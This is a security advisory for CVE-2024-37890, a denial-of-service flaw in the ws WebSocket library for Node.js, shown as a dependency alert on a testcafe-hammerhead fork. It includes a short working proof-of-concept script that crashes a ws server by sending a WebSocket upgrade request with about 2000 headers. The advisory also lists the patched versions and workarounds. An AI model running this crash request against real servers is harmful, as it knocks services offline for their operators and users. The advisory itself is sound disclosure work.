ws affected by a DoS when handling a request with many HTTP headers

[PavelMor25]

Repositories:

• testcafe-hammerhead - https://github.com/PavelMor25/testcafe-hammerhead/security/dependabot/14

Package: ws

Description:

Impact

A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in [email protected] (websockets/ws@e55e510) and backported to [email protected] (websockets/ws@22c2876), [email protected] (websockets/ws@eeb76d3), and [email protected] (websockets/ws@4abd8f6)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

References

• Throws TypeError when there are too many HTTP headers websockets/ws#2230
• Fix crash when the Upgrade header cannot be read websockets/ws#2231

CVE ID: CVE-2024-37890

GHSA ID: GHSA-3h5v-q93c-6h6q